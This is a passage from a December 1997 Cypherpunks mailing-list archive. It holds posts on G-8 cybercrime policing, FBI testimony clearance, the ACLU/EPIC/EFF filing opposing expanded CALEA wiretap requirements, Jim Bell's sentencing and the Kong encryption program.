murderer to catch one. In both cases Janet Reno fits right into this
program described below. H. Ayre

- ----------
> From: Das GOAT <DasGOAT@aol.com>
> To: CTRL@LISTSERV.AOL.COM
> Subject: [CTRL] Janet Reno Promises Net Cops 24/7
> Date: Friday, December 12, 1997 2:54 AM
> 
> HIGH TECH COPS TO PROWL THE NET 24 HRS A DAY
> 
> by Marcia Stepanek, Examiner Washington Bureau
> San Francisco Examiner, Dec 11, 1997
> 
>      WASHINGTON -- Top law-enforcement officials from the world's
industrial
> powers have announced plans to field cyber-SWAT teams to help catch
criminals
> who use the Internet and other computer technology to commit crimes.
>     <snip>
>     At the heart of the pact is a plan in which law enforcement officers
with
> computer expertise will be available 24 hours a day to assist
investigations
> of Internet crimes ranging from child pornography to fraud and money
> laundering.
>      In addition, the nations [including the US, under Janet Reno] agreed
to
> form special police units to track Internet crime and criminals.
>      They also agreed to review police staffing levels to ensure that law
> enforcement is adequately equipped to detect, prevent and punish computer
> crimes.
>      US Attorney General Janet Reno initiated the meeting on computer
crime,
> the first-ever international gathering of justice ministers from the
so-called
> G-8 nations, the United States, United Kingdom, Canada, germany, France,
> italy, Japan and Russia.
> 
> To subsribe to Conspiracy Theory Research List[CTRL] send email:
> SUBSCIBE CTRL [to:] LISTSERV@LISTSERV.AOL.COM
> 
> To UNsubscribe to Conspiracy Theory Research List[CTRL] send email:
> SIGNOFF CTRL [to:] LISTSERV@LISTSERV.AOL.COM
> 
> Om

- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: "Henry Ayre" <henri@alaska.net>


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 13 Dec 1997 07:32:32 +0800
To: cypherpunks@cyberpass.net
Subject: Freeh on how his encryption statements must be okayed
Message-ID: <Pine.GSO.3.95.971212152500.29644W-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




	HEARING OF THE HOUSE GOVERNMENT REFORM AND OVERSIGHT COMMITTEE
	SUBJECT:  THE INDEPENDENT COUNSEL ACT
	CHAIRED BY:  REPRESENTATIVE DAN BURTON (R-IN)
	WITNESSES:
	LOUIS FREEH, DIRECTOR OF
	THE FEDERAL BUREAU OF INVESTIGATION;
	DONALD SMALTZ, THE INDEPENDENT COUNSEL'S OFFICE
	2154 RAYBURN HOUSE OFFICE BUILDING
	WASHINGTON, DC
	10:05 A.M. EST

[...]
	
REP. STEVE HORN (R-CA):  Thank you, Mr. Chairman. Director, going
back to the Franklin Roosevelt administration, each administration
has had a policy on the clearance of testimony, the review of
testimony by high-ranking officials before they come up to the
Hill.  Was your statement cleared by OMB and/or the White House?

MR. FREEH:  As far as I know it was not.  I gave a copy to the
attorney general.  She gave me a copy of hers.  But there was no
editing or suggestions done.  I don't know if OMB got it or not.
Maybe I can find out.  (Confers with staff.)

REP. HORN:  Is that the usual procedure?

MR. FREEH:  I'm told they did not get a copy.

REP. HORN:  Yeah.  Is that - what is the usual procedure to review

MR. FREEH:  The usual procedure would be, if I'm talking about
counterterrorism or encryption, which I won't talk about today,
yeah, we send it up to OMB, they review it.  Sometimes they have
suggestions, sometimes they have objections.  We discuss that. That
was not done in this case.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 13 Dec 1997 09:27:47 +0800
To: "Trei, Peter" <ptrei@securitydynamics.com>
Subject: Re: How about a Bay Area meeting 1/17/98?
In-Reply-To: <6B5344C210C7D011835C0000F80127668B1593@exna01.securitydynamics.com>
Message-ID: <Pine.SUN.3.91.971212171618.20004A-100000@netcom3>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Dec 1997, Trei, Peter wrote:
> It would be nice if the January meeting were held the 17th. This is the
> day following
> the RSA Data Security Conference, and a lot of out-of-towners will be in
> the
> area over that weekend.

I like that idea. Comments?

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 13 Dec 1997 01:49:49 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199712121618.RAA20299@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Choosing to not become a member of the collective society/mindset the government
has put in place will soon become illegal.  Money laundering is illegal for a
very simple reason everything is becoming illegal: Control.  Money laundering prevents
the government to "control" your money.  When they could not take your money in the
interest of national/public/child safety for such wasteful ventures like the perpetual
war on drugs ,and when you thought for yourself and realized how wasteful it all was 
and that you would not willing give your money the government made it illegal to hide
your money.  Then they came up with asset forfeiture laws to legally take your vaporware,
commonly referred to as 'money'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 13 Dec 1997 07:45:05 +0800
To: cypherpunks@toad.com
Subject: ACLU and EPIC comments on Digital Telephony/wiretapping
Message-ID: <v03007808b0b77ac77a74@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



Excerpt:

>	Before rushing to embrace any proposals to enlarge
>	the capability of government surveillance of its
>	citizens, the ACLU and EPIC urge the Commission to
>	take note of words written nearly 70 years ago --
>	that remain true even today. As Justice Louis
>	Brandeis so aptly stated in Olmstead v. United
>	States, 277 U.S. 438 (1928):
>
>       The evil incident to invasion of the privacy of the
>	telephone is far greater than that involved in
>	tampering with the mails.  Whenever a telephone line
>	is tapped, the privacy of the persons at both ends
>	of the line is invaded, and all conversations
>	between them upon any subject, and although proper,
>	confidential, and privileged, may be overheard.
>	Moreover, the tapping of man's telephone line
>	involves the tapping of the telephone of every other
>	person whom he may call, or who may call him.  As
>	a means of espionage, writs of assistance and
>	general warrants are but puny instruments of tyranny
>	and oppression when compared with wiretapping.

-Declan

-----------

Before the
Federal Communications Commission
Washington, D.C. 20554

In the Matter of			)
					)		CC Docket No. 97-213
Communications Assistance for	)
Law Enforcement Act		)


Reply Comments of the
American Civil Liberties Union, Electronic Privacy Information Center and
Electronic Frontier Foundation

Introduction

	The American Civil Liberties Union ("ACLU") is a non-partisan
organization of more than 250,000 members dedicated to preserving the
freedoms embodied in the Bill of Rights.  The Electronic Privacy
Information Center ("EPIC") is a non-profit public interest research center
that examines the civil liberties and privacy implications of new
technologies.  The Electronic Frontier Foundation ("EFF") is also a public
interest organization devoted to protecting civil liberties in digital
media.

	The ACLU, EPIC and EFF respectfully submit comments in this Notice
of Proposed Rulemaking ("NPRM") on implementation of the Communications
Assistance for Law Enforcement Act ("CALEA")   to urge the Commission to
exercise its conferred authority by extending the deadline for compliance
with the Act to no earlier than October 24, 2000.

	Law enforcement has derailed the implementation process from the
statute's inception, and neither the public, nor the telecommunications
industry are in a position to comprehend the scope of the capacity and
surveillance requirements sought by the Federal Bureau of Investigation
("FBI").  We believe that the impasse in the enactment process alone makes
the implementation of CALEA impossible under the current statutory deadline
of October, 1998.

	Moreover, we believe that because the most pertinent issues, the
actual technical standards that may be adopted by industry, are not
addressed in this NPRM, the Commission must extend the deadline for
compliance to allow for the public scrutiny contemplated by CALEA.

In short, we base our conclusions on the foregoing:

I.	To date, the FBI has not met its public capacity notice
requirements under the Act which require law enforcement to quantify the
actual and maximum capacity technical needs, including projections with the
number of anticipated interceptions.  Industry, the public and the Congress
need an accurate assessment of the capacity requirements to provide
meaningful oversight and to ensure that they do not exceed the statutory
scope.  No implementation of CALEA should proceed without compliance with
this statutory requirement.

II.	Law enforcement was not permitted to dictate system design under
CALEA, but has placed a choke hold on the process by repeatedly preventing
the adoption of industry standards and creating a "wish list" of
technically infeasible and costly requirements.  In addition, it has become
abundantly clear that the FBI is seeking unprecedented surveillance
capabilities never envisioned by the Congress.  Simply put they have
consistently requested that industry provide numerous capabilities for
surveillance that go far beyond the current court-authorized electronic
surveillance under the provisions of Title III of the Omnibus Crime Control
and Safe Streets Act of 1968, the Electronic Communications Privacy Act of
1986 and CALEA. Thus, the Commission must engage in detailed review of this
process by extending the compliance date.

III.	Congressional limitations on information subject to interception
have been disregarded. CALEA required the strengthening of privacy
protections so that carriers do not intercept or disclose any information
they are not authorized to. The additional surveillance features sought by
the FBI contravene the Congress' intention to maintain current levels of
surveillance and not expand them.  We also address some incorrect
assumptions in the NPRM that would expand CALEA's application. We conclude
that these issues preclude "reasonably achievable" implementation of the
Act.


Background on Surveillance and CALEA

	Today, the revolutionary development of electronic infrastructures,
that make it possible to easily communicate in a variety of ways, also make
possible new forms of government intrusion and surveillance.  Additionally,
the actual use of government surveillance has grown faster in recent years
than ever before and
in past 10 years, the number of interceptions per year has more than doubled.

	According to statistics released by the Administrative Office of
the U.S. Courts and the Department of Justice:

	...the use of electronic surveillance for criminal and national
security 	investigations increased substantially in 1996;

	...court orders for electronic surveillance by state and federal
agencies for 	criminal purposes also increased, from 1058 in 1995 to 1150
in 1996 (a 	nine percent increase);

	...for the first time in eight years, a court denied a surveillance
application;

	...extensions of surveillance orders increased from 834 to 887.  In
all, 	interceptions were in effect  for a total of 43,635 days in 1996.

	The report also shows that the vast majority of interceptions
continued to occur in drug-related cases: 71.4 percent (821 total) for drug
investigations; 9.9 percent  (114) for gambling; 9.1 percent (105) for
racketeering; 3.5 percent  (41) for homicide and assault and a few each for
bribery, kidnapping, larceny and theft, and loan sharking.  No orders were
issued for "arson, explosives, and weapons" investigations.

	Moreover, the according to the report, electronic surveillance
continued to be relatively inefficient. Overall, 2.2 million conversations
were captured in 1996.  A total of 1.7 million intercepted conversations
were deemed not "incriminating" by prosecutors.  Each interception resulted
in the capture of an average of 1,969 conversations. Prosecutors reported
that on average, 422 (21.4 percent) of the conversations were
"incriminating."  Federal intercepts were particularly efficient, with only
15.6 percent of the intercepted conversations reported as "incriminating."

	Notwithstanding the increase in government surveillance, in 1994,
responding to FBI pressure and allegations that new technology hampers the
ability to conduct electronic interceptions,  the Congress enacted CALEA.
The law was enacted during the final days of the 103d Congress amidst
fervent opposition from the ACLU, EPIC, EFF and other concerned
organizations that believed that the FBI had not substantiated the need for
extraordinary government surveillance capabilities.  We adhere to those
views even today. Furthermore, the dramatic rise in the number of
interceptions conducted rebuts the government claim that new technologies
frustrate wiretapping abilities.

	CALEA requires telephone carriers to ensure continued government
interception capabilities despite changes in technologies by October, 1998.
The legislative history of CALEA makes clear that the Act was intended "to
balance three key policies: (1) to preserve a narrowly focused capability
for law enforcement agencies to carry out properly authorized intercepts;
(2) to protect privacy in the face of increasingly powerful and personally
revealing technologies; and (3) to avoid impeding the development of new
communications services and technologies."  To maintain that balance,
Congress established detailed guidelines on how industry standard setting
organizations would accomplish the costly mandate of CALEA and imposed
several obligations on law enforcement to facilitate the process as well.

	Section 107 of CALEA, in pertinent part, provides that an industry
association or a standards-setting organization will set the technical
standards; the Attorney General must consult with the standards-setting
organizations, with representatives of users of telecommunications
equipment, facilities, and services, and with State utility commissions,
"to ensure the efficient and industry-wide implementation of the assistance
capability requirements."

	Section 107 further provides that if technical requirements are not
issued by industry standards-setting organization or if any person believes
any standards issued are deficient, the Federal Communications Commission
may establish such requirements or standards.   The Commission has
promulgated the current NPRM in response to an impasse in the
implementation process and the failure of law enforcement to effectively
cooperate and fulfill its statutory obligation in providing detailed notice
of its technical capacity requirements so that industry can promulgate
technical standards.

	Section 50 of the NPRM states that this proceeding is being
undertaken irrespective of the actual industry standard requirements to
determine whether it is "reasonably achievable" to enact CALEA within its
compliance period.  The NPRM section 50 specifically states:

Because it is not clear whether requests for extension of time of the
Section 103 compliance date will be forthcoming, we do not propose to
promulgate specific rules regarding requests at this time. We propose to
permit carriers to petition the Commission for an extension of time under
Section 107, on the basis of the criteria specified in Section 109 to
determine whether it is reasonably achievable for the petitioning carrier
"with respect to any equipment, facility, or service installed or deployed
after January 1, 1995" to comply with the assistance capability
requirements of Section 103 within the compliance time period.  We seek
comment on that proposal.  We also seek comment on what factors, other than
those specified in Section 109 of CALEA, the Commission should consider in
determining whether CALEA's assistance capability requirements are
reasonably achievable within the compliance period.

	The NPRM, section 45, sets out several statutory factors that the
Commission may consider in determining whether CALEA's capability
requirements are reasonably achievable within the compliance period.  The
legislative history of CALEA makes clear that the factors provided by
Congress were "designed to give the Commission direction so that the
following goals are realized: (1) Costs to consumers are kept low, so that
'gold-plating' by the industry is kept in check; (2) the legitimate needs
of law enforcement are met, but that law enforcement does not engage in
gold-plating of its demands; (3) privacy interests of all Americans are
protected; (4) the goal of encouraged competition in all forms of
telecommunications is not undermined, and the fact of wiretap compliance is
not used as either a sword or a shield in realization of that goal."

	Our comments address these and other factors in concluding that the
FCC should extend the compliance deadlines as permitted by Congress.

I. CALEA's Capacity Notice Requirements:

	Section 104 of CALEA directed the Attorney General to issue a
notice of capacity requirement to industry not later than one year after
the law's enactment.  Hence the deadline for the notice was October 25,
1995. Carriers were provided with a deadline of three years after
notification by the Attorney General to install capacity that meets the
notification requirements.  Under the timetable that Congress proposed,
industry's deadline would have been October 1998.

	Specifically, section 104(a)(2) requires the Attorney General to
identify capacity required at specific locations, and to base the notice on
the type of equipment or service involved, or by the type of carrier.  In
addition, it requires the Attorney General to provide a numerical estimate
of law enforcement's anticipated use of electronic surveillance for 1998.
The statute also defines the maximum capacity as the largest number of
intercepts that a particular switch or system must be capable of
implementing simultaneously. The initial capacity relates to the number of
intercepts the government will need to make on the date that is four years
after enactment.

	By mandating the publication of numerical estimates of law
enforcement surveillance activity, Congress intended CALEA's notice
requirements to serve as "mechanisms that will allow for Congressional and
public oversight. The bill requires the government to estimate its capacity
needs and publish them in the Federal Register."  Congress made it clear
that "[t]he purpose behind the provision is... to ensure that carriers
receive adequate and specific notice from the Attorney General about the
needs of law enforcement...".

a. The First FBI Notice

	In October, 1995, the FBI, operating under delegated authority by
the Attorney General, issued a first proposed capacity notice. The Notice
was criticized for; (1) failing to comply with the notification and public
accountability provisions mandated in CALEA; and (2) failing to
substantiate the proposed capacity requirements with adequate
documentation.   Ultimately, it was withdrawn by the Bureau for these
reasons.

	The FBI's Federal Register notice failed to identify the "actual
number of communications interceptions" that the Bureau estimates will be
needed by the end of 1998. Instead, the capacity requirements were
"presented as a percentage of the engineered capacity of the equipment,
facilities, and services that provide a customer or subscriber with the
ability to originate, terminate, or direct communications." 60 Fed. Reg.
53643.

	Furthermore, in EPIC's comments on the initial FBI notice, they
stated: "[t]he Bureau's "percentage" approach to capacity requirements
allows neither telecommunications carriers nor the public to 'know the
required level of capacity.'"   The percentages contained in the Federal
Register notice (e.g., maximum capacity of one percent of "engineered
capacity" for geographic areas falling within Category I) also engendered a
great deal of public confusion concerning the Bureau's proposed
requirements and their impact on the privacy of personal communications.

	The confusion became readily apparent after an article appearing on
the front page of November 2, 1995, New York Times interpreted the Bureau's
notice as requiring "the capacity to monitor simultaneously as many as one
out of every 100 phone lines." Asked about the issue at a press briefing
later that day, Deputy Attorney General Jamie S. Gorelick said "there
appears to be some misunderstanding or miscommunication as to the
implications of what is contained in [the Federal Register] notice." In a
letter to House Judiciary Committee Chairman Henry Hyde, Director Freeh
asserted that, "We have not and are not asking for the ability to monitor
one out of every 100 telephone lines or any other ridiculous number like
that. ... Information supplied by the FBI was simply applied in a manner
not intended to reach erroneous conclusions."

b. The Second FBI Notice

	The FBI offered a revised NPRM in January, 1997, but has yet to
publish rules as a result of the proceeding.    The second NPRM was also
rejected by industry and privacy groups alike for requiring greater
capacity for interceptions by carriers than actually required today.

          The second FBI notice called for substantial increases in
surveillance of both landline and wireless communications over the next ten
years, with a total maximum capacity of 57,749 simultaneous intercepts to
be conducted in the United States.  Calculating out the percentages
provided by the FBI, by 1998 the FBI anticipates an increase of 33 percent
of landline interceptions and 70 percent of wireless phones. By 2004, the
Bureau estimates a total increase of 74 percent in interceptions of
landline phones and 277 percent in wireless phones.

	The second notice also implied that every carrier serving a
particular region would have to install capacity sufficient to meet the
total surveillance needs for that area, even if the carrier only served a
portion of the customers in the area. Such a plan would not only be cost
prohibitive, but would provide for unauthorized and unnecessary
capabilities.

          Moreover, the second notice failed to make any distinction
between the interception of call content and call-identifying information,
even though this too was expressly required by Congress. From both
constitutional law and privacy perspectives, this distinction is critical
since the interception of call content is inherently more intrusive than
the interception of call-identifying information.  Any number of innocent
individuals, conveying private information could be subject to unwarranted
invasions by allowing call content information without court authorization.
It is for this reason that CALEA limits the type of information that may be
intercepted under pen register and trap and trace authority.




c. Law Enforcement is Actually Seeking Enhanced Surveillance Capabilities

	It is now three years since the CALEA's enactment and to date the
government has not promulgated final rules. The Bureau's refusal to provide
the actual capacity requirements in its Federal Register notice denies any
possibility of meaningful public oversight.  Recently, the FBI has stated
that it intends to promulgate a final notice January, 1998.  Even if final
regulations are promulgated at this late date, it will be impossible for
industry to adopt technical standards accordingly under the current
deadline of October 25, 1998.  If the Congressional mandate for "public
oversight" of the FBI's implementation of CALEA is to be realized, it is
incumbent upon the Bureau to make available additional information
concerning its proposed capacity requirements and then for the Commission
to require sufficient time for public review.

	Underscoring this point, on October 23, 1997, several
representatives from the telecommunications industry testified before the
Subcommittee on Crime of the Committee on the Judiciary of the House of
Representatives on the implementation of CALEA.   The consensus of each of
the industry speakers was that the Bureau's failure to provide rules in a
timely fashion has prevented CALEA's implementation.

	Roy Neel, President and CEO of the United States Telephone
Association stated, "[t]he FBI's delay in announcing its final capacity
notice has been a significant obstacle for industry standard setting
organizations. Throughout 1995 and early 1996, industry participants often
postponed resolving certain issues pending the release of the capacity
regulations and the equally anticipated Electronic Surveillance Interface."


	Furthermore, it has become clear that the actual requirements that
the FBI seeks go well beyond that authorized under CALEA.   As we discuss
below, we believe that the standards and the petitions submitted by
industry and CDT/EFF make clear that the FBI has asked for capabilities not
provided for by CALEA.

	The expanded capabilities sought by the FBI, along with their
non-compliance with CALEA's capacity notice requirements warrant a
Commission order delaying implementation.  Additionally, since this NPRM
does not address the actual technical standards being considered for
industry adoption, the Commission must extend the deadline for compliance
pending public review.

	It is entirely possible that industry and the FBI may achieve a
compromise on the standards, but even if industry is strong-armed by the
FBI into complying with their requests, we intend to petition the FCC to
engage in through review of the issues not included in this proceeding.

II. Law Enforcement Has Prevented Industry Adoption of Authorized Standards
By "Gold Plating" its Stated Needs

 	Congress expressly denied law enforcement agencies the authority to
dictate the design of telecommunications networks under CALEA by conferring
this authority to industry associations.   Industry has proposed several
standards proposals which may be adopted in the near future.  However,
industry organizations have publicly acknowledged that law enforcement
agencies have played an extensive role in the process and have thwarted the
opportunity to adopt reasonable standards.

	Realizing that industry could not promulgate standards in light of
the FBI resistance, on July 16, Cellular Telecommunications Industry
Association petitioned the FCC to assume the authority over standards
adoption.  The petition indicates, the organizations were compelled to
adopt FBI requests.  More recently, in hearings on the implementation of
CALEA before the House Judiciary Subcommittee on Crime, October 23,
industry groups explained how the FBI has prevented adoption of reasonable
standards.  Many members of the Committee were critical of both the Act and
the FBI.  Rep. Bob Barr (R-GA), who chaired part of the hearing, bluntly
stated that the legislation would not have passed in the
Republican 104th or 105th Congresses.

	A major area of contention was the FBI's demand for added features
not required by the 1994 law.  These include an enhanced ability to track
geographical locations of cell phones, the ability to monitor conference
calls when the targeted party has left, and the ability to separate out
content from signaling data of packet-based communications.

	The FBI's efforts to lobby against the industry designed standards
during a vote on the specifications also came under fire.  The Bureau
organized a campaign to vote down the industry-developed standards, which
was described in the hearing as "ballot stuffing."  Twenty-eight police
agencies filed the same 74-page ballot comments, including a sheriff in
Florida who included the FBI's letter requesting that he file the comments.
CTIA's Wheeler described the FBI's actions as "rolling a hand grenade under
the table."

	Another controversial issue was the FBI's effort, during its
negotiations with the Telecommunications Industry Association (TIA) over
the wiretap standard, to petition the American National Standards Institute
(ANSI) to revoke the standards-settings authority of TIA after 50 years.
The FBI apparently withdrew the request after several months.

	Jay Kitchen, President of the Personal Communications Industry
Association explained that the impasse in the CALEA process was due in
large part to FBI interference.  He stated:

"Unfortunately, a breakdown of monumental proportions has occurred. As of
today, final standards have not been set, in large measure due to the
actions of law enforcement officials. Initially, the FBI waited almost one
and one-half years after the enactment of CALEA to submit its
recommendations to standards setting bodies. After the submission of this
list, industry representatives and the FBI were able to reach consensus on
standards that provided, by PCIA's estimates, 90 percent of the
capabilities that the FBI had requested. Since then, however, the FBI has
held up the entire standards setting process in order to ensure that every
capability on its "wish list" is made part of the standards."

	Similarly, Matthew J. Flanagan, President of the Telecommunications
Industry Association, stated that industry concessions to FBI demands have
been rejected by law enforcement and they have been pressured to concede
even more:

"During these meetings, industry made several concessions to law
enforcement, agreeing to include features in the standard that many in
industry were convinced were not required under CALEA. For example, law
enforcement requested that it be provided with continuous information about
the location of an intercept subject's cellular phone, irrespective of
whether the phone was being used or not. Industry refused to provide this
feature, finding that it greatly exceeded what CALEA permitted. In a
compromise, however, industry agreed to provide law enforcement with the
location of a cell phone at the beginning and end of each call -- even
though many industry participants felt that even this compromise exceeded
the scope of CALEA."

	As a result of all of the concessions, the proposed industry
standard goes well beyond a fair reading of CALEA and incorporates several
of the additional features and capabilities requested by law enforcement
prior to CALEA's passage but which were rejected by the Congress.

III Congressional Limitations on Information Subject to Interception Have
Been Disregarded

	Congress stated that CALEA was meant to preserve and not expand
government surveillance capabilities.  To guarantee that surveillance is
not expanded, CALEA requires telecommunications carriers to protect user
privacy and security of information they are not authorized to intercept.

	Section 103 of CALEA, Assistance Capability Requirements,
specifically imposes four industry requirements to protect privacy while
assisting with law enforcement interceptions. Carriers are required to
ensure that their systems are capable of:

 (1) expeditiously isolating and enabling the government, pursuant to a
court order or other lawful authorization, to intercept, to the exclusion
of any other communications, all wire and electronic communications carried
by the carrier within a service area...;
(2) expeditiously isolating and enabling the government, pursuant to a
court order or other lawful authorization, to access call-identifying
information that is reasonably available to the carrier--
(A) before, during, or immediately after the transmission of a wire or
electronic communication...; and
 (B) in a manner that allows it to be associated with the communication to
which it pertains, except that, with regard to information acquired solely
pursuant to the authority for pen registers and trap and trace devices (as
defined in section 3127 of title 18, United States Code), such
call-identifying information shall not include any information that may
disclose the physical location of the subscriber (except to the extent that
the location may be determined from the telephone number);
 (3) delivering intercepted communications and call-identifying information
to the government, pursuant to a court order or other lawful authorization,
in a format such that they may be transmitted by means of equipment,
facilities, or services procured by the government to a location other than
the premises of the carrier; and
 (4) facilitating authorized communications interceptions and access to
call-identifying information unobtrusively and with a minimum of
interference with any subscriber's telecommunications service and in a
manner that protects--
 (A) the privacy and security of communications and call-identifying
information not authorized to be intercepted; and
 (B) information regarding the government's interception of communications
and access to call-identifying information.   (emphasis added)

	This section makes clear that Congress specifically limited the
type of information that could be permissibly provided by industry to the
FBI under CALEA by distinguishing between call content and call identifying
information. Thus, we disagree with assumptions made in the NPRM that
broaden the scope of communications information that may be intercepted.
Section 20 states:

"We tentatively conclude that providers of exclusively information
services, such as electronic mail providers and on-line services providers,
are excluded from CALEA's requirements and are therefore not required to
modify or design their systems to comply with CALEA....[W]e seek comment on
the applicability of CALEA's requirements to information services provided
by common carriers.  We also note, however, that Congress anticipated that
calling features such as call forwarding, call waiting, three-way calling,
speed dialing, and the "call redirection portion of voice mail" would be
subject to CALEA's requirements.  We tentatively conclude that calling
features associated with telephone service are classified as
telecommunications services for the purposes of CALEA, and carriers
offering these services are therefore required to make all necessary
network modifications to comply with CALEA." (emphasis added)

	Congress explicitly rejected any application of CALEA to
information services including electronic mail and on-line services
recognizing that interception of those communications is the equivalent of
"call content" and is therefore, subject to a much higher degree of
protection under the Constitution.  The NPRM, however, incorrectly assumes
there is a distinction between carriers that exclusively provide
information services and common carriers that provide information services.
There is absolutely no basis for such a distinction under CALEA.  Congress
did not exclude such services based on the carrier offering the services,
but on the nature of the services and a recognition that content of
communications has always been accorded greater protections.

	Furthermore, the tentative conclusion that calling features
associated with telephone services are subject to CALEA as "call
identifying" information is incorrect.  CALEA restricts recording or
decoding of electronic impulses to dialing and signaling information that
relates to call processing only.  Congress explicitly rejected the
inclusion of "other dialing tones that may be generated by the sender that
are used to signal customer premises equipment of the recipient are not to
be treated as call-identifying information."   Thus, the addition of these
features is an expansion of current surveillance abilities and not
permitted.

	Not addressed in the NPRM are nearly a half-dozen other features
that Bureau contends are "call identifying" features and thus subject to
CALEA. As the Response Comments on the Petition for Rulemaking of the
Center for Democracy and Technology and the Electronic Frontier Foundation,
August 11, 1997, correctly point out, the FBI has sought the addition of
the following features not considered by Congress:

	(1) packet switching information
	(2) wireless telephone call location information
	(3) packet data content delivery information
	(4) multi-party monitoring information
	(5) an expanded definition of call identifying information
	(6) pen register information
	(7) feature status messages

	Instead of addressing these threats to privacy, Section B of the
NPRM frames the discussion of privacy protection in solely in terms of the
type of record keeping procedures to be used by telecommunications carriers
that conduct interceptions on behalf of law enforcement.  However, Congress
made clear that protecting the privacy of innocent individuals from
surreptitious surveillance was of paramount importance and charged the
Commission with the task of seeing to the necessary safeguards.  The
additional surveillance features sought by the FBI contravene Congress'
intention that the law would maintain current levels of surveillance and
not expand them.   These issues must be addressed by the Commission before
the implementation of CALEA can be accomplished and before record keeping
and industry security procedures are determined.



Conclusion

	Before rushing to embrace any proposals to enlarge the capability
of government surveillance of its citizens, the ACLU and EPIC urge the
Commission to take note of words written nearly 70 years ago -- that remain
true even today. As Justice Louis Brandeis so aptly stated in Olmstead v.
United States, 277 U.S. 438 (1928):

The evil incident to invasion of the privacy of the telephone is far
greater than that involved in tampering with the mails.  Whenever a
telephone line is tapped, the privacy of the persons at both ends of the
line is invaded, and all conversations between them upon any subject, and
although proper, confidential, and privileged, may be overheard.  Moreover,
the tapping of man's telephone line involves the tapping of the telephone
of every other person whom he may call, or who may call him.  As a means of
espionage, writs of assistance and general warrants are but puny
instruments of tyranny and oppression when compared with wiretapping.

	The expanded capabilities sought by the FBI, along with their
non-compliance with CALEA's capacity notice requirements warrant serious
Commission response.  Congress envisioned the implementation process as an
open process to ensure that law enforcement did not surreptitiously gain
unprecedented surveillance capabilities.  Thus, before the adoption of
industry standards, there must be careful scrutinization of law
enforcement's capability requirements.  We believe the only way to
accomplish this task is for the Commission to extend the compliance
deadline to October 24, 2000 under the authority provided by the Congress.

Respectfully Submitted,

Barry Steinhardt, Associate Director
A. Cassidy Sehgal, William J. Brennan Fellow
American Civil Liberties Union
125 Broad Street, 18th Floor
New York, N.Y. 10004
(212) 549-2500

Electronic Privacy Information Center
666 Pennsylvania Ave., SE, Suite 301
Washington, D.C. 20003
(202) 544-9240

Electronic Frontier Foundation
1550 Bryant Street, Suite 725
San Francisco CA 94103-4832 USA
(415) 436-9333






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 13 Dec 1997 10:44:23 +0800
To: cypherpunks@Algebra.COM
Subject: Jim Bell's Sentencing?
In-Reply-To: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com>
Message-ID: <v0310280db0b79845f3c9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:16 PM -0700 11/21/97, John Young wrote:
>Jim Bell was scheduled to be sentenced today at 9:30 AM.
>I called the court's ever-helpful administrative office
>(1-253-593-6754) for a report and was told that sentencing
>had been postponed until December 12, 10:30AM.

And so today is December 12th.

Has anybody heard anything?

Or have the criminals who run the legal system delayed his sentencing yet
again?


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Sat, 13 Dec 1997 11:20:55 +0800
To: Rick Smith <cryptography@c2.net
Subject: Kong Re: Please Beta test my communications cryptography product.
In-Reply-To: <199712050100.RAA04735@proxy4.ba.best.com>
Message-ID: <3.0.3.32.19971212190603.0076b324@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>At 5:00 PM -0800 12/4/97, James A. Donald wrote:
>>I have produced a program that, like PGP, provides digital
>>signatures and communications encryption.
>> http://www.jim.com/jamesd/Kong/Kong.htm
>>This is the first beta.  Please beta test this product.

The web page says that the first beta had some problems, but there
are some good files in its directory, in particular an explanation of
elliptic curves cryptography that avoids most of the math.
The code that's there appears to be visual basic or something similarly unreadable.

Kong is deliberately far simpler than PGP; it looks like it's limited
to the following:
- Signed Message: Delimiter, Message Body, ECC Public Key, ECC Sig.
	I didn't notice what hash was used for the signatures -- SHA?
- Encrypted Message: ECC(SessionKey), RC4(Message Body, SessionKey).  
  I'm not sure if there are headers that include the recipient's key,
  or if there's any special form for an encrypted-and-signed message.
  I assume there's no multiple-recipient form?
  - there's also symmetric-encrypted form.
- Decrypt Message
- Compare signatures from two messages

It turns out you can replicate many of the functions of PGP
using this set of tools.  And ECC keys are nice and short, so there's
less need for keyservers and such.
- Instead of a keyring, keep a directory of signed messages from people
- To send someone your key, send them a signed message,
	preferable one that will mean something that tells them it's you.
- To verify a signature on a new message, compare the signature with one
	on your key message.
- To "sign" someone's key, take a message from them, add some introductory
	message of your own, and then sign it:
	--
	Alice gave me this message at the Cypherpunks Against Nukes rally.
	I've known her for a couple of years, and I doubt she's a narc.
	Remember to remove the >s before checking it.
	> --
	> Hi!  I'm Alice Liddell, from the Vegetable Legalization Front!
	> You can catch my show on VLF Radio on Thursday nights,
	> or send email to askme@juno.com.
	> -- digsig Alice
	>	239084509834098f9a8900cb989989909890
	>	2jcxjsdopicjospijfijvoisdjfvoisdjfvoijfdsvoij
	>	i09809cv8qf234u0r9duw90cfdwre90f8cw8c900w8f900
